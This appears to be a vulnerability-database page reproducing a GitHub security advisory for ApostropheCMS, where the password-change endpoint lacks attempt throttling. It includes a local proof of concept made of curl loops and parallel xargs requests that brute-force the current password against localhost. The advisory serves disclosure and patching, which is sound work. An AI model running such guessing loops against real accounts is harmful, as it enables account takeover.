GHSA-653J-G8J7-GH54
Vulnerability from github – Published: 2026-10-20 18:17 – Updated: 2026-10-20 18:17Summary The self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response.
Exact source path packages/apostrophe/modules/@apostrophecms/settings/index.js:621-664
The password-change route is: PATCH /api/v1/@apostrophecms/settings/password
The route calls the password verifier directly through: await self.handleProtectedSubform(req, subform, req.body );
The password verification path is: packages/apostrophe/modules/@apostrophecms/settings/index.js:514-542
async handlePasswordProtectedSubform(req, subform, payload) { try { await self.apos.user.verifyPassword(req.user, payload.passwordCurrent); } catch (e) { throw self.apos.error( 'forbidden', 'apostrophe:passwordCurrentError', { path: 'passwordCurrent' } ); } return subform; }
The verifier itself does not increment the login-attempt cache or enforce a delay: packages/apostrophe/modules/@apostrophecms/user/index.js:412-487
By contrast, the login route explicitly calls checkLoginAttempts and addLoginAttempt in: packages/apostrophe/modules/@apostrophecms/login/index.js:831-929
Local PoC The test used a disposable authenticated guest session against:
Request:
PATCH /api/v1/@apostrophecms/settings/password HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-session>
Content-Type: application/json
{
"password": "new-temporary-password",
"passwordRepeat": "new-temporary-password",
"passwordCurrent": "definitely-wrong-current-password"
}
Equivalent command:
for i in 1 2 3 4 5; do
time curl -i -sS \
-b /path/to/temporary-session-cookie-jar.txt \
-X PATCH \
'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \
-H 'Content-Type: application/json' \
--data-raw '{
"password": "new-temporary-password",
"passwordRepeat": "new-temporary-password",
"passwordCurrent": "definitely-wrong-current-password"
}'
done
Observed response All five attempts returned the same immediate validation response: HTTP/1.1 403 Forbidden Content-Type: application/json; charset=utf-8 { "name": "forbidden", "data": { "path": "passwordCurrent" }, "message": "apostrophe:passwordCurrentError" }
Observed timings were approximately: Attempt 1: 231 ms Attempt 2: 232 ms Attempt 3: 226 ms Attempt 4: 229 ms Attempt 5: 226 ms
No attempt returned a throttle response, lockout message, Retry-After header, or rate-limit status.
seq 1 20 | xargs -P 20 -I{} sh -c \ "curl --max-time 15 -sS \ -o /tmp/password-attempt-{}.body \ -w '%{http_code}\n' \ -b /path/to/temporary-session-cookie-jar.txt \ -X PATCH \ 'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \ -H 'Content-Type: application/json' \ --data-raw '{\"password\":\"new-temporary-password-{}\",\"passwordRepeat\":\"new-temporary-password-{}\",\"passwordCurrent\":\"wrong-current-{}\"}'"
Result: 20 requests -> HTTP 403 Forbidden 0 requests -> HTTP 429 Too Many Requests 0 requests -> lockout response
The valid password continued to authenticate afterward: POST /api/v1/@apostrophecms/login/login HTTP/1.1 HTTP/1.1 200 OK
Impact An attacker who has obtained or hijacked a valid authenticated session can repeatedly guess the current password through the password-change endpoint. Each guess receives a normal response, and the route does not apply the login throttle or lockout mechanism. If the current password is weak or reused, this can allow the attacker to pass the current-password check and replace the account password. The attacker would then be able to log in after the password change. The attack requires a valid authenticated session and does not work anonymously. Severity Medium, subject to the application’s session-threat model. The prerequisite of an already authenticated session limits exploitability, but successful guessing leads directly to account takeover through password replacement.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "apostrophe"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.33.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-113710"
],
"database_specific": {
"cwe_ids": [
"CWE-307"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-20T18:17:50Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "**Summary**\nThe self-service password-change endpoint verifies the current password but does not use the login module\u2019s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response.\n\n**Exact source path**\npackages/apostrophe/modules/@apostrophecms/settings/index.js:621-664\n\n**The password-change route is:**\nPATCH /api/v1/@apostrophecms/settings/password\n\n**The route calls the password verifier directly through:**\nawait self.handleProtectedSubform(req, subform, req.body );\n\n**The password verification path is:**\npackages/apostrophe/modules/@apostrophecms/settings/index.js:514-542\n\n**async handlePasswordProtectedSubform(req, subform, payload) {\n try {\n await self.apos.user.verifyPassword(req.user, payload.passwordCurrent);\n } catch (e) {\n throw self.apos.error(\n \u0027forbidden\u0027,\n \u0027apostrophe:passwordCurrentError\u0027,\n { path: \u0027passwordCurrent\u0027 }\n );\n }\n return subform;\n}**\n\n**The verifier itself does not increment the login-attempt cache or enforce a delay:**\npackages/apostrophe/modules/@apostrophecms/user/index.js:412-487\n\n**By contrast, the login route explicitly calls checkLoginAttempts and addLoginAttempt in:**\npackages/apostrophe/modules/@apostrophecms/login/index.js:831-929\n\n**Local PoC**\nThe test used a disposable authenticated guest session against:\n\nRequest:\n\n```\nPATCH /api/v1/@apostrophecms/settings/password HTTP/1.1\nHost: 127.0.0.1:3000\nCookie: \u003credacted-authenticated-session\u003e\nContent-Type: application/json\n\n{\n \"password\": \"new-temporary-password\",\n \"passwordRepeat\": \"new-temporary-password\",\n \"passwordCurrent\": \"definitely-wrong-current-password\"\n}\n```\n\n**Equivalent command:**\n\n```\nfor i in 1 2 3 4 5; do\n time curl -i -sS \\\n -b /path/to/temporary-session-cookie-jar.txt \\\n -X PATCH \\\n \u0027http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data-raw \u0027{\n \"password\": \"new-temporary-password\",\n \"passwordRepeat\": \"new-temporary-password\",\n \"passwordCurrent\": \"definitely-wrong-current-password\"\n }\u0027\ndone\n```\n\n**Observed response**\nAll five attempts returned the same immediate validation response:\nHTTP/1.1 403 Forbidden\nContent-Type: application/json; charset=utf-8\n{\n \"name\": \"forbidden\",\n \"data\": {\n \"path\": \"passwordCurrent\"\n },\n \"message\": \"apostrophe:passwordCurrentError\"\n}\n\nObserved timings were approximately:\nAttempt 1: 231 ms\nAttempt 2: 232 ms\nAttempt 3: 226 ms\nAttempt 4: 229 ms\nAttempt 5: 226 ms\n\nNo attempt returned a throttle response, lockout message, Retry-After header, or rate-limit status.\n\nseq 1 20 | xargs -P 20 -I{} sh -c \\\n \"curl --max-time 15 -sS \\\n -o /tmp/password-attempt-{}.body \\\n -w \u0027%{http_code}\\\\n\u0027 \\\n -b /path/to/temporary-session-cookie-jar.txt \\\n -X PATCH \\\n \u0027http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data-raw \u0027{\\\"password\\\":\\\"new-temporary-password-{}\\\",\\\"passwordRepeat\\\":\\\"new-temporary-password-{}\\\",\\\"passwordCurrent\\\":\\\"wrong-current-{}\\\"}\u0027\"\n\nResult:\n20 requests -\u003e HTTP 403 Forbidden\n0 requests -\u003e HTTP 429 Too Many Requests\n0 requests -\u003e lockout response\n\nThe valid password continued to authenticate afterward:\nPOST /api/v1/@apostrophecms/login/login HTTP/1.1\nHTTP/1.1 200 OK\n\nImpact\nAn attacker who has obtained or hijacked a valid authenticated session can repeatedly guess the current password through the password-change endpoint. Each guess receives a normal response, and the route does not apply the login throttle or lockout mechanism.\nIf the current password is weak or reused, this can allow the attacker to pass the current-password check and replace the account password. The attacker would then be able to log in after the password change. The attack requires a valid authenticated session and does not work anonymously.\nSeverity\nMedium, subject to the application\u2019s session-threat model. The prerequisite of an already authenticated session limits exploitability, but successful guessing leads directly to account takeover through password replacement.",
"id": "GHSA-653j-g8j7-gh54",
"modified": "2026-10-20T18:17:50Z",
"published": "2026-10-20T18:17:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-653j-g8j7-gh54"
},
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce"
},
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350"
},
{
"type": "PACKAGE",
"url": "https://github.com/apostrophecms/apostrophe"
},
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.